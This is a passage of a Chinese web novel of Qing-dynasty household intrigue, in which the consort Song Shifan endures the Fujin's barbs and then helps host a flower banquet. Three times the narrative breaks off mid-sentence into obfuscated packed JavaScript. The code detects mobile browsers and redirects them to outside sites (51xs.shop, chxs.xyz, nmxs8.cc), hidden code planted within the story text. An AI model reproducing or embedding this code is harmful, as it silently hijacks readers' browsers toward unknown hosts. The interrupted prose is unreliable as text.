如今福晋出现的时间真是一日比一日晚了,每每她们来请安的时候都得坐上好一会儿冷板凳才能见到福晋。 对此,宋时繁表示理解,因着是四爷亲自发话不让她们日日请安的,到底算是下了福晋的面子,依照福晋的那个性子,若是再不趁着她们来请安的时候好好折腾她们一番,那才叫奇怪呢。 因此,宋时繁坐得十分稳当。 本来嘛,一个月就只用来坐上两天的冷板凳,比先前不知道好了多少呢,就是可怜府上的两位侍妾姑娘了,因为跟福晋住在同一个屋檐下,哪怕四爷免了众人的请安,可她们二人就住在眼跟前总不能不去给福晋请安吧?所以,两位侍妾姑娘还依旧和从前一样,日日都要来请安,倒也亏得二人坐得住。 宋时繁在心里暗自摇了摇头,却又不免觉得有些庆幸,幸好她当时穿成了格格,好歹算是有个自己的住处,否则像这样随意就被安置了,甚至要同好几个人窝在一堆儿,日子还不知道要怎么过下去呢。 又坐了大约半个时辰,芸香这才施施然出现在众人的面前。 “劳驾诸位格格们久等了,福晋昨日身子有些不舒坦,晨起就多歪了一会儿,这便耽误了起身的功夫,这会子福晋已经起来梳妆了,格格们可以去前头请安了。”说罢,芸香侧开身子,让众人先行。 这话大家都知道就是个借口罢了,但宋时繁等人却没办法深究,笑着同芸香道了一声“无妨”后,也不敢磨蹭,纷纷起了身,再由宋时繁打头阵,一齐往正屋的方向去了,然后便老老实实在门前等待福晋传召。 这次倒是没让她们等太久,不一会儿就有人打了帘子请宋时繁她们进去。 一进门就瞧见福晋已然穿戴整齐地端坐在上首了,宋时繁几人忙又福身行礼。 “免礼,赐座。”上头传来福晋慢悠悠的声音。 等众人皆坐定,福晋这才抿唇露出个笑来:“想来诸位等久了吧?如今天气乍暖还寒的,一不留神就会受凉,我昨个儿晨起,只是在廊下多站了会儿,不想却是叫风扑着了,夜里便不舒服起来,直折腾到半夜才睡下。” 宋时繁等人闻言赶忙站起身做出一副关心的样子:“奴才们有罪,竟不知道福晋病了。” 福晋摆摆手,“无妨,这哪里是你们能预料到的,我这会子说出来也就是想提醒你们一定多加注意,想来老话里说‘春捂秋冻’也不是没有道理的,你们可千万莫要学我,保重身体才是要紧,否则到时候伺候不了主子爷就不好了。” “多谢福晋关心,奴才们谨记福晋的吩咐。”几人又齐刷刷道。 “好了,都快坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948826|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下吧,一会儿功夫起身又坐下的,没得再累着,关起门来咱们都是自家人,无需如此客气。” 福晋倒是将话说得十分好听,可若她真这样想,一开始也就不要她们行礼了,何苦受完礼又来这么一句?宋时繁心道福晋还是如此,不管口头上说得再漂亮,但总要在小地方上恶心一下她们,仿佛这样就能显出福晋的尊贵似的。 可谁叫人家是主子,宋时繁就算不舒服也得自个儿吞进肚子里,面上丝毫不敢露出来。 不想,就在宋时繁默默吐槽的时候,福晋又开口了,还是对着她开口的:“宋格格,尤其是你要格外注意,大格格从娘胎里就弱气些,如今养在你那儿也是我跟主子爷信任你的缘故,你更是要打起十二分的精神来,小孩子对天气变化最是敏感了,若大格格有个什么不好的,别说主子爷了,我可第一个不会饶你。” 这话就是在故意膈应宋时繁了,先说大格格从娘胎里带出来的身体底子就不好,几乎是在明着指责宋时繁将大格格生得不好,又说什么大格格是她跟四爷养在宋时繁那里的,仿佛宋时繁跟大格格没甚关系一样。 可见,福晋是在借着话头敲打宋时繁呢。 宋时繁听出来了,幸好宋时繁早就习惯了福晋的性子,如今见福晋只是说两句难听话,面上自然端得住,于是乎,她仍是恭敬地道:“福晋教训得是,奴才记住了,万不敢有任何怠慢大格格的地方,请福晋放心。” 福晋却不肯就此打住,而是叹了口气,状似担忧道:“唉,我倒是忘了,你也是个身子骨不争气的,若是有什么撑不住了,可千万别硬挺着,早点儿来回了我,大格格是爷的第一个孩子,我总不舍得亏了她的,你也别逞强啊。” 宋时繁闻言心头一紧,生怕福晋一言不合就要把大格格抱走。 虽然福晋要一个体弱多病的格格在身边确实没多大用处,可万一呢?她们这位福晋是个别扭的性子,万一她一个不顺心就非要为难一下自己呢? 思及此,宋时繁忙接话道:“劳福晋挂心了,奴才知道轻重,福晋派过来的奶娘们也都尽心得很,不敢有丝毫差错,虽说大格格养起来要比旁的孩子多费些心,可这都是奴才应该做的。”宋时繁承认,她真是有些紧张了,话里便带出些急切来。 索性,福晋见宋时繁还算知机,面上也没有显露出什么不虞之色,又瞧着她一脸害怕的样子,心下这才满意了些。 其实,福晋是把四爷下她面子的事儿记到宋时繁的头上了,毕竟,若非宋时繁那次请安之后回去就病倒了,还嚷嚷出来惊动了四爷知道,四爷哪里会生她的气?虽说后来李格格也跟着掺和了一脚,可要不是宋时繁起得头,哪有后头这档子事?保不齐宋时繁还偷偷在四爷跟前告了她的状呢! 于是乎,心头气闷的福晋没地方发现这才突然朝着宋时繁发难。 好在福晋并不是真要抱走大格格,见福晋没有继续揪着她说话了,宋时繁这才悄悄松了口气。 然而,福晋又调转枪头,对准了李格格。 84. 赏花宴(上) “李氏,你也是,如今眼瞅着身子是重了,主子爷一早就说过要免了你的请安,你倒好,愈发往我这里跑得勤了,不知道的,还只当我苛待了你们似的呢。”福晋仿佛玩笑般开了口,但话里话外的意思却十分明显。 李格格听完这话后倒是八风不动的,还有功夫抿了一口茶,而后才悠悠然开口道:“奴才知晓主子爷顾念着奴才,也是奴才没用,先头差点没保住孩子,这才连累了主子爷也跟着操心,但奴才也不是那等张狂的人,还是知道规矩两个字是怎么写的,自然不敢怠慢了福晋您。”话虽说得恭敬,可那态度,却是怎么看怎么漫不经心。 果不其然,福晋被李格格一副气定神闲的模样给气着了,脸色都僵了僵,宋时繁甚至感觉福晋下一秒就要拍案而起了。 宋时繁其实也有点想不通,福晋又不是不知道李格格的性格,是个嘴上丝毫不肯饶人的,眼下李格格怀着子嗣可就更加猖狂了,同她生气那不是自找没趣儿吗?也是,宋时繁差点忘记了,福晋也是个别扭的性子,好吧,宋时繁有点理解不了她们的脑回路了。 好在武格格站出来替福晋解了围:“李姐姐这话说得咱们都要自惭形秽了,李姐姐这样有礼的人,反衬得咱们竟像是不知道从哪个乡下里钻出来的呢。”武格格长了一张俏生生的娃娃脸,俏丽里还带着些许活泼,哪怕是再难听的话从她嘴里说出来都占了三分巧。 众人闻言脸上俱露出些笑意来,无他,武格格这话里讽刺李格格的意思实在是太过于明显了,宋时繁都得靠死死咬住下嘴唇才能忍下笑意,毕竟谁不知道李格格在福晋这里无礼多少回了,将这话套在她身上未免也太... 李格格当然听出了武格格在笑话她呢,又见众人的脸上都带着笑,她心里就更不得劲儿了,再加上她孕期情绪也不稳定,当即就气得拍了桌子:“武氏,你这话什么意思?” 这会子福晋倒是反应过来了,厉声呵斥道:“李氏你放肆,在我这里还轮不到你大呼小叫的,我看你是前段时间禁足禁得不够,莫不是还想回去再关上一阵子?”可算是叫福晋捉住了李格格的痛脚,她自然不肯轻易放过李格格。 李格格也知道自己刚刚失态了,居然在福晋这里拍桌子,只得不情不愿地站起身来跟福晋告罪:“福晋恕罪,刚刚是奴才言行无状了。” 福晋在上首见李氏乖乖低了头心里痛快了不少,但又有些遗憾,方才若是李氏继续闹将起来,她就能顺势把人给罚了,眼下李氏竟就这么轻易认了错,真是便宜她了,唉,可惜了。 “行了,你起来吧,念你有孕辛苦,便饶了你这一次。”福晋面上倒是一派宽和,挥挥手便叫李氏起身了,让人丝毫看不出她心中真实的想法。 李格格扶着肚子坐回了位置上,她虽有近七个月的身孕了,可肚子看起来并不是特别大,当然,也远远用不上需要扶着肚子才能坐下的程度,可她偏要这样,只因她心里不舒坦,一个个的,还不是嫉妒她能生?有本事自己也揣一个去,竟联合起来跟她作对,尤其是福晋,最可恶了。 实际上李格格也确实有猖狂的资本,要知道她可得宠了小半辈子呢,在年氏入府之前,四爷府上的孩子几乎都是从她肚子里爬出来的,谁能跟她比?到了后期就是福晋也得避她锋芒,更别说这些无宠无子的格格们了... 李格格仍兀自在忿忿不平呢,福晋却已经懒得搭理她了,而是跟众人说起三天后赏花宴的事情。 武格格笑吟吟道:“前几日就听说福晋您要办赏花宴,还让膳房做了好些鲜花糕点,托了福晋的福,奴才这几日顿顿都能吃到点心呢,还得了好些花露。” “多大了还这样贪吃,也不怕主子爷见了笑话你,你可留着肚子,到时候赏花宴上有你吃的时候。”福晋难得凑了个趣儿。 武格格一听眼睛就亮了起来:“福晋,奴才们也能跟着去宴席上长长见识吗?” 福晋笑了笑没开口,倒是她身旁站着的吴嬷嬷上前解释了一句:“是呢,武格格这下要高兴了,福晋说了,只是个小宴,请来的也都是自家的妯娌们,没有外人,格格们来也没什么不妥当的,自然可以参加了。” 当然,吴嬷嬷这是把话往好听了说的,实际上,因着要宴请的人不老少,光阿哥们家的福晋、侧福晋就已经一大堆了,福晋一个人也招呼不过来,这才拉了宋时繁等人过来充数,否则总不能叫嬷嬷奴才们陪着喝茶说话吧?虽然宋时繁等人身份不高,可到底是四爷的女人呢,兼之府上还没有侧福晋,宋时繁几个在一旁喝喝茶、应个声,怎么都够了,大面上也看得过去。 这事儿先前武格格就同宋时繁提过一嘴,那会子武格格就说要求一求福晋让她们也参加,当时宋时繁还没放在心上,这会见福晋又特意说起,想来应该是挺重要的,于是乎,宋时繁也不神游了,竖起耳朵听了起来。 只见福晋考虑了片刻后才开口道:“...这是个大事儿,到时候各家府上的福晋、侧福晋们都要来的,我先前就让府里都预备下了,那天一大早便要开门迎客,当然,迎客的事儿倒是用不着你们,只等客人来了你们好好招待,千万别错了规矩就是,否则丢人就要丢到外头去了,到时别说我了,主子爷脸上都要无光,索性那天来的都是娘儿们家,倒也无妨,你们只管陪着几位侧福晋们好好说说话就是了,到时候就由...宋氏,你牵头吧,带着她们,你一向懂事有分寸,看着她们别惹出什么岔子来。” 说起正事来,福晋还是挺靠谱的,将事情安排得有条不紊不说,这会子还在思索有没有什么被遗漏掉的地方,正细细地跟宋时繁几人叮嘱呢。 这倒着实让宋时繁吃了一惊,没想到她居然还能被拎出来待客,但福晋特意点了她的名,她也不好推辞,老老实实站起来福身道:“奴才明白,定然不敢辜负福晋的期望。” 福晋面上十分随意:“就是去做个陪,你很不必如此紧张,只管守着规矩来就行,我会派吴嬷嬷跟着你们,有什么不明白的就问她。” 宋时繁听了这话才算是吃了一颗定心丸,有福晋的陪嫁嬷嬷在旁边,哪怕真出了什么事儿也有个人商量,应当不会有什么大岔子了。 不过,宋时繁的担心却真是有些多余了,因为那天全程都有奴才带着她们行事,既没给她们留下发挥的余地,自然,也就没有什么犯错的空间了,只要别有人脑抽,想来应该会挺顺利的。 赏花宴那天一大早,宋时繁就被白薇提溜起来了,彼时宋时繁还迷迷糊糊的呢,她怎么觉得自己刚睡着就被叫醒了?可白薇一张湿帕子就盖在了宋时繁的脸上,激得宋时繁瞬间睁大了眼睛。 “白薇...福晋不是说用不着我去迎客吗?起那么早干嘛呀!好白薇,再让我眯一会儿吧~”宋时繁一掀开眼帘就看见白薇铁面无私的脸,着实吓了一跳,紧跟着宋时繁就在嘴巴里嘟囔了起来,身子还不停往下倒,像是没骨头似的坠着白薇的手。 白薇见状好声好气儿地哄着:“格格,您别躲懒,虽说不用迎客,可也得一早就去席上等着,总不能叫客人等您吧?格格听话,现在已经卯时了,再不起来可真要来不及了,今儿您可要好好梳妆打扮一番呢,耽误不得。” 宋时繁也知道白薇说得有道理,怒了努嘴,终是一鼓作气从床上坐了起来。 可当宋时繁洗漱完下了床之后才发现,窗子外头还黑黢黢一片呢,天就跟盖了个锅盖一样,严严实实的一丝光亮都没漏出来,怕是府上后厨里养的鸡这会子都还没起来呢。 宋时繁没忍住狠狠瞪了白薇一眼,白薇一缩脑袋讪讪地朝着宋时繁笑道:“格格,您千万别生气,气大伤身,奴才也是怕误了时辰...”越说到后面,白薇就越心虚,最后,她干脆一拍脑门,装作焦急的样子,“瞧奴才这记性,格格的早膳还没提回来呢,奴才这就去膳房给格格提膳去。”说罢,不等宋时繁有反应,白薇就赶紧从宋时繁的眼前跟一缕烟似的溜走了。 “呸,个小妮子,这么早膳房有个屁的早饭,我看她等会挨了膳房太监们的啐才是好呢,也叫我出出气。”宋时繁气得靠着门框叉着腰,冲白薇落荒而逃的背影大喊,引得院子里正在散步的来福“汪汪汪”地也跟着叫了起来,好似在给宋时繁助威呢。 “来福真是好样的,你也在替我骂那个坏丫头是不是?” 回应宋时繁的依旧是几声狗叫。 竹苓在一旁瞧着实在是有些哭笑不得,连忙推着宋时繁进了屋,又拿出昨晚上就预备好的衣裳帮着宋时繁更衣。 “格格您小心别冻着,哪有穿件中衣就站到外头去的?也不怕叫风扑着了,您的病可刚好呢,而且,格格您又胡说了,这种话怎么能从格格的嘴里说出来呢,您倒好,不光说还喊得那么大声,若是叫外人听了去,不定怎么在背后编排你呢...” “啊哟喂,我的竹苓,你怎么回事啊,莫不是跟白薇在一块住久了?怎么把她那套管家婆的话学得一套一套的,大人!快饶了奴家吧!”宋时繁一边说着求饶的话,还一边怪模怪样地朝着竹苓拱手。 “格格,可不兴这样啊,还是您快饶了奴才吧。”竹苓早就习惯了自家格格时不时就要搞点儿花头出来,于是乎,听了宋时繁这话,竹苓连眼风都没动一下,继续稳稳当当地给宋时繁穿衣裳。 宋时繁见竹苓不搭理她,自觉没趣儿,总算是肯老老实实站在那儿不动弹了。 今天宋时繁要见的虽然都是女眷,可怎么说也算外客,故而在穿戴上丝毫容不得马虎。 竹苓替宋时繁搭配的是一身嫩绿色绣蝶纹的旗装,衣裳外缘还镶了花蝶纹的边儿,这身衣裳是针线房前几日新做了才送来的,宋时繁还没上过身呢,再加上衣服的颜色也鲜亮,如今穿在宋时繁身上倒是正好。 宋时繁的身份毕竟不高,打扮上就不能往端庄大方上面走,选个颜色鲜嫩些的衣裳,也算是应了今日赏花宴的题。 竹苓又在外头给宋时繁套上一件粉缎大襟坎肩,坎肩上则嵌着一圈儿毛绒绒的边,虽然眼下已经是春日了,可宋时繁身子单薄,还是穿厚点儿才叫人放心呐,否则出去参个宴回来人却病倒了,那可就不合算了。 宋时繁倒是不在意自己穿了什么,只待穿戴整齐后站在镜子前上下打量了一番,瞧着没甚不合规矩的地方也就完了。 可巧,这时候白薇也回来了,还真叫她把早膳给提回来了。 “真稀奇,这么早膳房就开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13972281|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火了?”宋时繁也忘了自己还生气呢,开口询问道。 “回格格的话,奴才去的时候,膳房太监们已经热火朝天地忙活起来了,虽说只是赏花宴,糕点什么的昨晚都预备了不少,可有些东西还是得现做了才行,膳房那些人也是怕误事,可不就早早准备起来了,也亏得是奴才去的早呢,否则再晚一会儿,膳房那头忙起宴席上的菜来,怕是没功夫给格格做早膳了。”白薇提着食盒,语气里不无得意。 宋时繁轻哼了一声,“哼,倒是显着你了。” 白薇一看就知道宋时繁没有真生气,她也不害怕,笑嘻嘻地将食盒里的东西摆上了桌。 宋时繁本来还不觉得饿,这会子叫早饭的香气一勾,肚子里的馋虫马上就开始咕咕叫了。 许是因着忙,今日的早膳就比较简单,只零星几样常见的点心饽饽,并一碗红豆小米粥,都是方便好做的东西,难得的是她一贯爱吃的芝麻球竟也没少,这东西做法倒是不难,就是得现做,否则放久了便少了风味,可见,她最近一直给膳房那头塞银子还是十分管用的,最起码口腹之欲是可以保障的。 只不过,宋时繁不知道的是,自从四爷在她这里留宿得越来越勤快了,她在府中的待遇自然就水涨船高了,宋时繁还傻乎乎地以为是银子起了作用呢,当然啦,银子肯定是一方面的原因,但再怎么样也没有四爷的面子大就是了。 白薇见宋时繁喜滋滋地夹了一个芝麻球以后,这才笑着开口问道:“难为膳房有心,还记着格格喜欢这个呢,格格要赏吗?” 宋时繁摇摇头:“很不必,我算什么,没那么大脸赏赐膳房,不过今天这样忙他们还能想着我也确实是用心了,你下次叫石桥去提膳的时候多带些银子送给做点心的师傅,悄悄地就成,不必太张扬。” “还是格格想得周到,奴才冒状了。” 宋时繁没在意,白薇也是为她着想,毕竟能跟膳房搞好关系,只一条,最起码吃的上面不用太担忧了,想她刚来的时候吃不饱穿不暖的,可不就是原主不知道打点的缘故嘛。 “你们不用在这里伺候我用膳,眼下时辰还早呢,也不急在这一时半刻的,你们也下去吃了饭再回来吧,喏,这两碟豆糕和枣泥酥你们端去吃吧。”宋时繁如今也知道不能要求白薇和竹苓跟她一起吃饭了,她们俩个跟自己坐在一块根本食不下咽,宋时繁索性不为难人了,怕下面人吃不好就直接赏菜,干脆又利落。 白薇和竹苓齐齐应了一声“是”,便听话离去了,宋时繁独自吃得十分欢腾,一想到等会要接待客人就不能吃东西了,宋时繁赶紧又往嘴里塞了好几个芝麻球,还喝了大半碗粥呢,如果不是怕喝多了过后要跑厕所,她肯定把粥喝光。 宋时繁吃了个八分饱以后就搁下筷子了,正拿帕子拭嘴的时候,白薇和竹苓已经回来了。 她们自然不可能慢腾腾地吃饭,哪怕当主子的再体贴,不会说她们什么,她们也不敢忘记本职,一个人吃了两块糕点,又塞了两个包子就紧赶着回来伺候了,至于水她们是能不喝就不喝的,没得伺候主子的时候还要跑厕所的道理。 竹苓见宋时繁吃得差不多了,忙端上沏好的茶给宋时繁漱口,又伺候宋时繁洗了手,这才上手收拾碗碟,至于白薇则扶着宋时繁坐到了梳妆台前,开始给她上妆。 又折腾了大约一个多时辰,直到天光顺着窗户洒进了屋内,白薇才总算开了口:“格格您看看妆容可还算满意?” 宋时繁早就已经昏昏欲睡了,这会子听见白薇的说话声这才迷迷瞪瞪地把眼睛睁大。 “白薇,你家格格我又不是要去成亲当新娘子,干嘛化得这样好看?”宋时繁差点没认出镜子里的人是自己。 只见镜中人一对眉毛形如弯月,却刻意描粗了些,好似蝴蝶振翅欲飞,无端地给宋时繁原就娇媚的面容添了些灵动活泼,又因着宋时繁本身肤白,故而没有上粉,却将胭脂氲湿了敷在宋时繁的脸颊上,整个人便由内而外显出些好气色来,愈发体现出宋时繁的肤如凝脂来,白薇还将宋时繁的眼尾向上勾出一小截儿来,使得宋时繁的眼睛自带了些妩媚颜色,偏宋时繁眼神却是纯澈得很,二者结合在一起倒叫宋时繁更像是九天仙子了。 “今日是赏花宴,有那么多的女眷,格格这样打扮已经很低调了,若是再素淡些怕是不好见人了。”白薇又将宋时繁鬓边插着的绢花取了下来,换成了一只嵌珠蝴蝶镀金簪,上头的蝴蝶翅膀还能随着人的动作微微颤动呢,新巧得很。 宋时繁见两个丫鬟都说这样挺好的,便也不纠结了,虽然这样打扮是出挑了些,可左右今日有这么多人来呢,总会有打扮得更出挑的,况且她一个格格,身上也没有几件好首饰,不过是妆化得漂亮了些,应当不碍事。 思及此,宋时繁起身就打算出门。 “你在家里顾好大格格。”宋时繁不放心地跟白薇交代了一句,便带着竹苓出了院子。 等到了花园旁边的暖阁里,武格格和郭格格已经到了,几人见礼的时候,宋时繁借机打量了一下二人的穿戴,瞧着就连郭格格都穿得比平时鲜艳了些,宋时繁的一颗心就彻底放回肚子里了。 “我来迟了,叫妹妹们好等。” 85. 赏花宴(下) “宋姐姐哪里的话,我们也是怕误了正事这才说早一点儿过来准备的。” 武格格仍旧是从前那副眉眼带笑的模样,只见她身穿一袭桃红色绣兰花纹的单袍,这颜色倒是和武格格极其相衬,显得她气色尤为得好,外面穿的则是一件同色系的刺绣坎肩,武格格俨然是已经褪去了冬日里厚重的衣衫,穿得十分单薄,浑似感觉不到冷一样。 宋时繁瞧着武格格不免有些心生羡慕。 这武格格一看身体就很好,不像她,整日里病歪歪的,到如今三月的天了,还得穿夹的,仿佛冬天没过够似的,哪怕就是这样,她方才走在路上的时候仍觉得身上凉津津的,直到进了暖阁里才松了口气呢。 宋时繁在心底稍稍感叹了下也就算了,毕竟各人有各人的命,这个还真羡慕不来,有这会子功夫她还是打起精神来,把眼前的事应付好才是正经。 思及此,宋时繁同武格格笑着点了点头,又将目光移至郭格格身上,柔声开口道:“郭妹妹还怀着身子,倒是辛苦你一早就起来了,若是等下宴席上感觉到有什么不舒坦的地方,一定要同我说,再或者同吴嬷嬷讲,总之可千万不能自己硬撑着。” 福晋既让宋时繁领了这个头,她便不能叫郭格格出事,故而宋时繁难免跟她多叮嘱了两句,生怕郭格格因为什么顾虑,到时候肚子不舒服也不敢吱声,那就麻烦了。 其实按理来说郭格格有孕,福晋本不打算劳动她的,可奈何四爷后院里本来就没几个人,李格格月份已经大了更是万万不能拉出来的,剩下的人一个手掌不用都数完了,这才拉了郭格格出来凑数,索性郭格格月份浅,这会子还不显怀呢,倒也算顶用。 好在,郭格格不敢也拿自己的身孕开玩笑,听了宋时繁的话忙应声:“哎,我知道的,多谢宋姐姐提醒。” 宋时繁见郭格格知晓轻重,又看郭格格穿得是一件浅蓝色棉袍,领口处还有毛边儿呢,瞧着就厚实,便也没有多话了,不然说多了再叫人以为她图谋不轨。 于是乎,寒暄完的三人老老实实地在暖阁里坐下了,如今天还尚早,且要等上一阵子呢。 不想,这个时候李格格居然挺着个大肚子过来了。 宋时繁简直服了李格格的脑回路了,福晋一早就吩咐过李格格不用出席,她都孕晚期了,不好好地在院子里躲懒养胎,跑这里来出这个风头做什么? 显然,李格格不是这么想的。 “宋姐姐、两位妹妹,我来晚了。”倒是难得在李格格的脸上看见这样和煦的神色,甚至还带着一分得意。 宋时繁闻言眉心都跟着跳了三跳:“李妹妹身子重,福晋昨日便吩咐妹妹你今日不用跟着我们一块劳累,怎么这会子过来了?” 宋时繁话里的意思很明显,那就是想送客,让李格格赶紧回去,毕竟七个月的肚子呢,若是出点儿什么事,宋时繁根本担待不起。 可惜,李格格丝毫不打算领情。 只见李格格慢悠悠地扶着肚子找了个位置坐下后,这才施施然开了口:“宋姐姐,虽说福晋体恤我,想让我好好休息,可府里宴客这样大的事妹妹总不好不闻不问的,到底妹妹也算是府里的一份子呢,再说了,郭妹妹也怀着身孕呢,她都义不容辞了,妹妹更不敢躲懒了,况且,府上难得有这样热闹的时候,姐姐总不会拦着妹妹不许妹妹凑热闹吧...姐姐你说,是不是这么个理儿呀?” 宋时繁无语了... 她现在特想对着李格格的脸吼上一句:你搞搞清楚!你跟人家一样吗!孩子都快落地了到底能不能当回事啊! 最终,宋时繁忍了又忍,才没有出口成“脏”,只是勉强弯了弯唇角道:“李妹妹这话严重了,到哪儿都没有我要拦着妹妹的道理,只是瞧着妹妹的肚子,难免担心妹妹一会儿累到自己就不好了,还请妹妹珍重身体,万一支持不住了,可别强撑。” 唉,现在宋时繁只求菩萨保佑,等会子宴席上李格格别闹出什么事来,哪怕真闹了事,其他的都好说,就是千万不能动了胎气。 但李格格不知是不是误解了宋时繁话里的意思,听了这话反而不冷不热地怼了宋时繁一句:“宋姐姐多虑了,我身子一向强健得很,怀着孩子也安稳,倒是宋姐姐,听说你前几日还大病了一场,这刚刚大病初愈的,可千万要保重,否则岂不是对不起福晋对姐姐的期望了?” 得,看来李格格是不满福晋让宋时繁挑了这个担子,今日这才非要出这个风头,生怕旁人不知道她有孕又得宠。 宋时繁更觉无语了,难不成是她上赶着要摊上这桩麻烦事儿的? 念及此处,宋时繁也不想再跟李格格多费口舌了,只偏过头嘱咐竹苓一会儿分神看顾着一点儿郭格格和李格格,别叫二人出了什么岔子,然后便合上眼睛,假装闭目养神,实则是不想开口了。 李格格等了半天见宋时繁没有反应,最后还干脆把眼睛都闭上了,自觉讨了个没趣,撇撇嘴将目光移走了。 一时间,暖阁里再无人说话了,直到吴嬷嬷进来,才打破了这一室的寂静。 吴嬷嬷一进门就瞧见了老神在在地坐在那里的李格格,眉头当即就是一拧,但此时不是询问的好时候,毕竟人都坐在这儿了,也不能直接撵走,吴嬷嬷只得暂时收敛起表情,福身给宋时繁几位行礼。 “老奴给各位格格们问安了,格格们吉祥。”吴嬷嬷的态度还算恭敬。 宋时繁在吴嬷嬷进门的时候就睁开了眼睛,这种时候她也只能当仁不让地率先开口了,“吴嬷嬷快请起,不必多礼,可是福晋有什么吩咐下来?” 吴嬷嬷闻言露出个客套的笑来,“宋格格客气了,没什么大事,老奴只是来提醒一下诸位,福晋在前头已经开始迎客了,格格们也该预备着了,今日府上的席面都置办在花园里,拢共有四桌,另外还有一桌是以备不时之需的...”大致说完等会儿的安排以后,吴嬷嬷便退了出去,给宋时繁几人留时间做准备。 竹苓适时弯腰在宋时繁的耳畔询问道:“格格用不用去更衣?” 宋时繁摇了摇头,她知道竹苓是问她要不要上厕所,否则等下客人们来了再想去上厕所就不妥当了,毕竟不能把客人们撇下自己走了的道理。 不过,宋时繁一早起来就没敢喝水,粥都没喝几口,出门前还特意上了个厕所,这会子便不愿意再折腾一趟了。 倒是李格格和郭格格两人都下去更衣了,她们两怀着孕,这种需求自然大一些,更别提李格格已经孕晚期了,一会儿都不能憋,倒是武格格同宋时繁一样,坐着没动。 宋时繁原本想跟武格格讲两句话,显得不那么尴尬,毕竟现在屋子里就她们两个人了,但想了半天也没想到说什么,她总不能问人家为什么不去上厕所吧? 好吧,宋时繁承认,她确实没有什么急智。 许是瞧出了宋时繁面上的窘迫,武格格笑吟吟地开了口:“说起来我曾跟着母亲参加过几次宴会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13997442|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但那会子还未出嫁,什么都只能跟在母亲后面,吃也不敢吃喝也不敢喝,如今仔细想想竟想不起来宴会上是什么样儿的,这会子轮到自己还真有点儿紧张了,宋姐姐你先前去过这样的场合吗?” 这话问宋时繁等于白问,宋时繁思索了片刻后才道:“叫武妹妹笑话了,我从前却是没有这样的机会的,今日恐怕是第一次呢。”宋时繁想着原身是包衣出身,进了宫就分给德妃当宫女了,家里的情况也一般,应当是没什么机会参加宴席,便斟酌着说出了这番话。 武格格加深了唇角的弧度,面上一派天真,甚至轻轻击了个掌,极其高兴的样子:“那敢情好,今日咱们正好都能瞧个新鲜了。” 宋时繁见状跟着笑了笑:“那也是。”紧接着又附和了几句,两个便你一言我一语地聊了起来。 说话间的功夫,李格格和郭格格分别由各自的丫鬟扶着回来了,又过了没一会儿,吴嬷嬷便来请她们去花园里了。 花园里,福晋已经在了,正和几个人谈笑风生呢,宋时繁虚虚往那边看了一眼,都挺面熟的,三福晋、五福晋、七福晋都在,上次大格格百日宴的时候,宋时繁曾跟这几位福晋有过一面之缘,她还记得呢。 至于其他人,宋时繁就不认得了,但其中有两位打扮得更加华丽端庄,又隐隐在众位福晋中为首,宋时繁便猜测是太子妃瓜尔佳氏和大阿哥直郡王的福晋伊尔根觉罗氏了,太子妃就不用说了,伊尔根觉罗氏嫁的大阿哥是众位阿哥中第一个封郡王爵位的,她的身份地位自然比其他几位皇子福晋要高些,虽比不上太子妃,可在妯娌中还是有些话语权的。 就是没想到福晋这次的赏花宴办的还挺盛大的啊,就连太子妃和直郡王福晋都请过来了。 别说宋时繁觉得奇怪了,福晋自己都有些摸不着头脑呢,虽然直郡王福晋和太子妃那边她确实也是下了帖子的,可那就是走个过场,谁知道这两位还真来了呀,幸好福晋也是大家出身,只惊讶了一瞬便恢复了神色,继续招待起客人来。 宋时繁等人则是被拉到了侧福晋那一堆人里待客。 好在有吴嬷嬷在一旁提醒着,宋时繁还算不上完全抓瞎,好歹是混过去了,也幸好除了各家府上的几位侧福晋们,有几家得宠的格格也被带了出来,宋时繁几人也不是彻彻底底地低人一等,总有能说上话的,这一天总算是有惊无险。 郭格格身子也挺健朗的,一天愣是撑下来了,等散席了才回去,倒是李格格,宴席过半就撑不住了,宋时繁远远瞧着她面色一阵一阵发白,忙让吴嬷嬷将人带下去歇息了,李格格原先还不乐意,直到吴嬷嬷在她耳边不知说了句什么,这才不情不愿地跟着吴嬷嬷走了,又听说吴嬷嬷悄悄找府医去瞧了瞧李格格,没什么大碍,宋时繁这才放了一大半儿的心,她也算不辱使命了。 赏花宴结束以后,福晋去送客了,吴嬷嬷则笑着对宋时繁几人道:“辛苦格格们了,福晋今日高兴呢,也知道格格们都尽了心,稍后便有奴才将赏赐给几位格格送去,老奴就先不送了。” 得,给一甜枣立马跟上一棍子,福晋向来的套路,怕她们接待一次客人心就大了,连忙赏她们东西,这意思谁还不明白?无非是明里暗里说她们不够格呢。 